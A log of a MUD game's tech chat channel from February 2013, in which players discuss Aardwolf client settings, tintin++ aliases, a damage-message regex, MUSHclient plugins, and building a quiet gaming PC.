T3/r7/2013-02-23.txt.gz:{chan ch=tech}Rabshakeh Tech: this muchclient is 4.84, one with my main char (frozen) is 4.81, how would i place what settings i have stored in that one, into this one and select between them?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Leinei Tech: AardMUSH or vanilla (regular) MUSH?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Rabshakeh Tech: aardmush
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: www.aardwolf.com...click the screenshot, click download client
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: follow the instructions on that page
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Rabshakeh Tech: i spent alot of time setting up exits and alias's and stuff on it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: prolly shoulda spent less time getting frozen }:>
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Rabshakeh Tech: yeah well, i won't do it again
T3/r7/2013-02-23.txt.gz:{chan ch=tech}GreenAcid Tech: what does mapper call "into the long night" I can not find it on mapper areas?(aardmush
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Leinei Tech: Into The Long Night
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Leinei Tech: It's there for me.  ABC order
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Myopic Tech: 100  200   60  Jubilee          Into the Long Night         
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Leinei Tech: Have you been to the area?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}GreenAcid Tech: not for me, I am trying to purge the area with mapperpurge zone
T3/r7/2013-02-23.txt.gz:{chan ch=tech}GreenAcid Tech: yes I have been there
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Leinei Tech: Did you already purge it?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Leinei Tech: It only shows mapped areas
T3/r7/2013-02-23.txt.gz:{chan ch=tech}GreenAcid Tech: no
T3/r7/2013-02-23.txt.gz:{chan ch=tech}GreenAcid Tech: mapper find portland Avenue still works and routes me to Portland Avenue in the arae
T3/r7/2013-02-23.txt.gz:{chan ch=tech}GreenAcid Tech: area*
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Leinei Tech: Try "mapper areas night"
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Myopic Tech: Try "mapper areas night key
T3/r7/2013-02-23.txt.gz:{chan ch=tech}GreenAcid Tech: there we go, it was not in mapper areas for some reason
T3/r7/2013-02-23.txt.gz:{chan ch=tech}GreenAcid Tech: Thanks
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish raises an eyebrow.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: why are you trying to purge long night anyway?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}GreenAcid Tech: boredom
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Gneil Tech: anyone know how to alias two commands with a semicolon in between using tintin++?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: #alias {foo} {bar1;bar2}
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Gneil Tech: I tried two semiolons but it didnt work.  
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Gneil Tech: Thanks!
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Gneil Tech: Hm, those {} didn't help :(
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Gneil Tech: OH you can backslash the semicolons!
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: You only backslash the colons if you want to escape them and send a literal colon to the mud. tt++ is also smart enough to not parse anything between { and }, so you don't need to double them when surrounded properly
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: semi-colons*
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Gneil Tech: the prob was that I was trying to do a server-side alias
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Gneil Tech: so aardmud treated {} literally
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Pedwiddle Tech: Yeah, for server-side commands, you can escape with a \, or put a \ in front of the entire line
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Nods, it's becomes much easier to do \gt test1;test2;test3 instead of gt test1\;test2\;test3\;
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: anyone have recommendations for consolidating spell damage messages?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: recommended scripts/plugins I mean
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: damage 2
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: that's not spell
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: Doesn't help spells :(
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Ahh, misread
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: I have one that I use for tinyfugue :-)...[4] Your shroud of flame does BAD things to A mechanical crow! [4975]
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Could potentially 'walk' the buffer and if any consecutive lines are the same, accepting wildcard logic, then consolidate and show [#instances] <Message>
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: and summing the damage
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Nods
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: Yeah I figure I could do something like this manually but thought there may be a ready-made solution.  Shouldn't be too hard -- just need a complete list of the damage messages that exist (eradicate, unspeakable etc)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: help damages is almost all of them
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: help damange verbs
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: damage*
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: same file that I said ;-)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: help damage doesn't go there, but it is a related help ;)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: nice thanks didnt know about it!
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Ahh, the difference between singular and plural on that helpfile
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: here's what mine uses: misses|tickles|bruises|scratches|grazes|nicks|scars|hits|injures|wounds|mauls|maims|mangles|mars|LACERATES|DECIMATES|DEVASTATES|ERADICATES|OBLITERATES|EXTIRPATES|INCINERATES|MUTILATES|DISEMBOWELS|MASSACRES|DISMEMBERS|RENDS|does UN(THINKABLE|BELIEVABLE|IMAGINABLE|SPEAKABLE) things to
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: not sure why the ABLEs aren't outside the (), but I didn't write it ;-)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: Thanks!
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Arnica Tech: They are "UN"s
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: right, that's why the UN is outside the ()
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: it could've been written as UN(THINK|BELIEVE|IMAGIN|SPEAK)ABLE to save a few characters
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: Thanks for posting the regex :)  saves me time!
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Ontuct Tech: the uns could have been added for a loss of 4
T3/r7/2013-02-23.txt.gz:{chan ch=tech}ElFeneri Tech: what about "OTHERWORLDLY"? :)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: the uns are already saved
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Could also do th UN* and the first couple, and just match on the first non-alphanumerical character until you get "to", get name, and damage
T3/r7/2013-02-23.txt.gz:{chan ch=tech}ElFeneri Tech: tech The death lords' demonic breath does <-:-><-:-*-:-><-*-> OTHERWORLDLY <-*-><-:-*-:-><-:-> things to the black necromancer! [72252]
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That's a mobprog, not a real damage
T3/r7/2013-02-23.txt.gz:{chan ch=tech}ElFeneri Tech: yeah, true
T3/r7/2013-02-23.txt.gz:{chan ch=tech}ElFeneri Tech: It's alot of damage
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: and probably didn't exist as of like 6 years ago when I started using this (and lord knows when nimrodel actually wrote it)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: Do people define their triggers in their script file somehow to keep all the script/triggers in one place?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: how to organize things like that depends on your client
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: (mush)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: for MUSH, I wouldn't suggest a script file
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: you can put related triggers into plugins, and leave the random ones in the world trigger definition (game -> configure -> triggers)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: I see, so you bundle into plugin
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Jhav Tech: A script file is good for small things, or stuff you want to be able to access with the script prefix.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: yes, plugin is the designed way to put like-stuff together...triggers, variables, aliases, scripts, everything associated with a particular use
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'd much rather use dofile or require if I want special code from something not in a plugin
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: there's an easy plugin-making wizard which basically just says "select all the triggers, etc that you want" which will "pluginify" stuff for you
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: Yeah I saw that :)  The problem is that my triggers and aliases are getting clutered and I don't like editing them in the mush gui :-\
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: and from there you can get used to opening the xml files in a text editor to play with them
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: So It'd be nicer to define them in files
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: that's what plugins do
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: I see so the pluginify is just a helper if you have them in the main area and you want to move them into a plugin
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: right
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: Excellent!  I'll try that approach
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: because usually when you start working on what will eventually be a plugin, you're just making a regular GUI trigger, alias, etc to test, then making another, etc
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: (at least until you're used to the plugin file structure, then you'll just dump them right into that skeleton)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Getsuko Tech: Makes sense.  Thanks for the help!
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: any PC enthusiasts on?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Jhav Tech: No, we all hate computers here.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: I'm going to build an ultra quiet PC.  First iteration will be no special cooling
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: I'll add the cooling if I need it later
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: does anyone have experience with the Asus DC2 cooling technology on their GTX GPUs?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Prince Wario Tech: My computer makes no noise, it's a mac with no hard drive
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: you won't get far with quiet+no cooling
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: anyhow, this will be my first build so just asking for some pointers, I guess
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: with SSD, the sources of noise are just cpu and gpu
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Juic... You're going to be spending quite a bit extra for quiet components, if thats your goal. Just a heads up if cost is a factor
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: most CPU fans I've heard have a lower pitched sound anyway, which isn't as bad as the whiny noise from gpus
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: cpu and gpu don't make noise...just fans
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: cost is no issue
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Prince Wario Tech: yeah why even build one with old tech
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: also don't forget the PSU
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: They usually have 1-2 fans on them.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}GreenAcid Tech: PSU's don't make much noise
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: put a large fan in the room you use the computer in. you will not hear the computer
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: PSUs make quite a bit of noise.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: the rigs I've got around here are screamers.  I don't want anything like them.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: thx daloran, and the psu
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Mokg Tech: if youre not going to do intense gaming on it I'd get a cheap videocard that doesn't use a fan. just a heatsink
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: SSDs will cut down on drive noise - if you're using magnetic drives, make sure to get a case that'll allow you to use isolating grommets for noise
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: so does anyone have any experience using passively cooled PSUs, or seen the Asus DC2 cooling technology in action on their GTX or Radeon boards?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: I will use SSD.  CAn't think of any downside.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: mokg -- will do gaming on it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Juic.. if they're the cards I'm thinking of - I recall that the passively cooled versions got quite a bit hotter then they were supposed to, and didn't do well without case fans.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: only downside is what you've stated isn't an issue for you
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: In particular the GTX cards.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: money isn't an issue but I don't like wasting it trying out 3 different components
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: oh, interesting dal.  Hmm.  Do you remember where you would have read about that?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Probably Anandtech? I don't recall specifically though. Its possibly it no longer applies, was when i bought my last video card... 2ish years ago
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: the Dc2 tech does use fans, it just also has a huge heat sink and lots of heat pipes
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Mokg Tech: newegg reviews are generally pretty insightful
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Ah, wasn't the same as the one I was talking about then. The one I meant was fully passive
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: I've never heard of a fully passive GPU.  That would be quite a feat to build one w/ enough strength to be gamer friendly
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: They're not unheard of
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: I'm not a techie, just decided to do this project
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: for funsies
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Prince Wario Tech: great way to learn
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: kind of hard to find people with direct experience w/ these components.. you know?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: how am I supposed to know if x PSU is quiter than Y psu?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: same w/ mobo
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Nod. Reviews are probably going to be your best friend, especially with noise. a lot of places for the low noise components will take DB ratings for noise, sometimes audio recordings as well
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: http://www.maximumpc.com/article/how-tos/how-_build_silent_gaming_pc
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Prince Wario Tech: google it online
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: The psus with a single larger fan tend to be quieter then those with 2 smaller fans. And there are some psus that are fanless, but you pay dearly for them
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: other than silentpcreview, anyone heard of other places focused on noise?  or tech forums?  Like I said, I'm not a techie.  I will eventually find them on my own but it will take hours
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lowest db <psu, cpu cooler, mb, etc.>?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: I'm not sure I understood that vorpes, but yes
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: 2 other options to consider, just before you start buying silent parts - is remote mounting the PC an option? Like putting it in a closet and running cables to your kb/mouse/monitor?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: sorry google lowest db psu and the others
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: I do that.  My office has a closet, and running cables through the wall allows me a high performance PC while being silent.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: And if that's not an option, have you considered water cooling? Not neccesarily something I'm familiar with, nor would reccomend, but it will likely increase your component selection quite a bit if you're able to buy the cpu/gpu you like, and then replace the cooling with aftermarket water blocks.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Prince Wario Tech: they had a working example of a water cooled computer in Popular Science
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Wario... You say that like you can't go down to best buy and buy watercooling components now =p
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: Watercooling is expensive, but not so much if you do it yourself.  However, if you buy from a manufacturer, it will be expensive... only because it is considered "high end."
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: use the largest fans your case will mount, check out the fans you do put on for noise lvls at their working rpms, generally a larger fan at a lower rpm moving the same amount of air will be quieter.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Sneak Tech: Just buy an iMac *srun
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Nod. He did say cost wasn't a factor though - so might as well throw the option in
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Prince Wario Tech: I usually don't buy my parts from Best Buy but a local computer builder
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Wario.. My point was more it is a pretty common thing
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: If you have to have your computer next to your desk, and cost is of no concern, watercooling is the way to go
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: Why do you think cars are watercooled and not aircooled ;)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: just replace the fan with one of those spraybottle fans...badda bing, bob's your uncle...watercooling
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Is it worth mentioning some cars were air cooled? =p
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: some still are
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: LOL yes but not a car built within the last 30 years
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: and the reason has nothing to do with noise
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Fair. None I know of personally, but if abe says so, I'll believe it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: Yes, but it is more efficient for high performance cars
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: hmm pretty sure there are still fans on radiators
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: dalor -- unfort remote mountaing not an option or i would :)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: Fans are when the car is stopped.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: There are, yeah. But you can mount larger, quieter fans on rads
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod when the car is moving air is forced over it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: hell most ATVs were air cooled for the longest time. then people tripled the cubic engines in them and the heat factor went thru the roof. air cooling works to a point, water cooling isn't all that effective either if you're running in ambient temps over 80F
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: still air cooled
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: It's an issue with surface area Vorpes, not so much ambient temp
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: But computers mostly run full speed or idle all the time.  They need cooling because they don't move.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: Water cooling provides maximum cooling all the time
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I need cooling when I do move.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: But it is more expensive
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: what's needed is on die heat pipes to move the insane temps out of the core more effectively.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: eh
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: Heat pipes are useful, but space is a concern.  Then you need fins and surface area.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: fates -- is there a particular brand of fan which is quiter?  i.e. fan blades are thinner or the correct shape, or whatever?  I guess the ideal rig would run w/o case fans, though.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there are very large fans that spin slower
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: what is needed is a liquid cooled system where the liquid has variable specific heat capacity
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Also Noegel, fans can be temperture controlled so they speed up/slow down/even turn off as needed
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: vorpes - i don't rule that out, but before I go that route, I want to build something with the quitest stock specs around
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Er, Juic, not noe
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: whatever i just said i think goes against the laws of nature actually
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i guess my nerd in shining armor who can hold my hand through this ain't on.  Pity!
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: just waterproof your case and fill it with mineral oil
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: I understand Daloran... but if noise is a concern, and price not, watercooling is the way to go..  unless you're talking about nitrogen lol
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Watercooling won't be quieter then a passively cooled system, Noe. It's just going to allow more options in terms of cpu/gpu.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: some fan companies spend crazy R&D on fan blade shape, generally it is just a matter of searching thru newegg, tigerdirect, memory express in canada generally have specs for components online.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i would say this. larger fan moves more air and spins slower so has a lower frequency sound, less fans = less sound, computers are just fairly noisy
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: I guess I turned on this channel in the middle of a chat.  I figured no price/low noise... so I was assuming he/she wanted a maximum silent/medium performance computer
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: problem with liquid cooling is that damn learning curve... a catastrophic failure in a liquid cooled rig generally is *bad*
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: which is why you should use mineral oil
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: different question.  My GPU is a 9800 GT from nvidia.  The fans spin as if there is a load even if I'm just at a desktop running aard client.  Any ideas wth is going on?  It's a high frequency and annoying sound.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Nod... Reason I haven't played with it myself - I couldn't afford the potential loss of 1k+ in components
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: how much does that help in cases of pinched or kinked tubing?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Probably a small diameter fan, juic. So has to spin quickly to move any air
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: replace the fans with ice cubes
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: it is, dalor.  but i wonder why it has to spin at all when presumably it's not under load
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Mokg Tech: could be extremely dusty, or your case might just be really hot
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: dust can cause this???
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: Pinched tubing is a myth.  If you install it right, it won't move.  I don't know how often you guys shake your desktops....
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: well it's an older card maybe it did grow some dust
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Could also be non-temp controlled, or temp sensor borked
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Mokg Tech: I just cleaned out my cpu heatsink yesterday because the fan was making excessive noise and it stopped doing it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: You should be able to manually raise/lower the fan speed via software... but careful of setting it too low to the point it can't dissipate heat
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: Even if it's temp controlled, it could be throttling up due to excess heat from, yep, dust..
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: really mokg??
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: and how often do a newb get things right the first time? air cooling is a we bit more friendly as long as you plug the fan in you won't let out the blue smoke.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: so where would the culprist dust be sitting?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Mokg Tech: yeah, heatsink was caked in dust. had to use compressed air to clean it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Mokg Tech: in the fan area
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: Wow lol
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Mokg Tech: fan/heatsink
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: My rig is super old.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: This convo reminding me I haven't cleaned out my filters in a while
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: the dust could be anywhere.  If you have an intake fan, clean that as well as the GPU fans.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i take it i just have to wipe the fan blades.  how do i clean a heatsink?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Mokg Tech: compressed air is the easiest way
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: About the same. I like to get compressed air + vacum, blow from one side, suck from the other
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: LOL Daloran.... I took my filter out for the first time in 6.5 years..
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vliam Tech: well, not anywhere.  Somewhere in the airflow channel.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: It leaked dust just holding it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: where is the heatsink on the gpu in relation to the fan?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: Man my house is dirty lol
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Mokg Tech: should be right under it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: The heatsink is right under it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: The fan should be offset from the heatsink
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: so i don't have to take anything apart?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Noegel Tech: You do
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Just the side panel
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Might be a good idea to hold the fan in place while hitting it with compressed air and such, as well.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i just bought a 144 mhz lcd.  will this increase the load on my gpu vs. 60 hz?  1920 resolution each one.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: 144mhz? =p
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: yes
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: god bless asus
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: You sure you don't mean.. 240hz?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: 144 mhz...
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i mean 144 hz, i'm dumb, not an idiot
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: Juic.. model number of your monitor, plz
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: an asus vg248qe
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Human eyes can't percieve anything above 60-75, i fail to see the point of 144.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: now does that increase the load on the gpu if idle?  I have no idea.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: sure they can
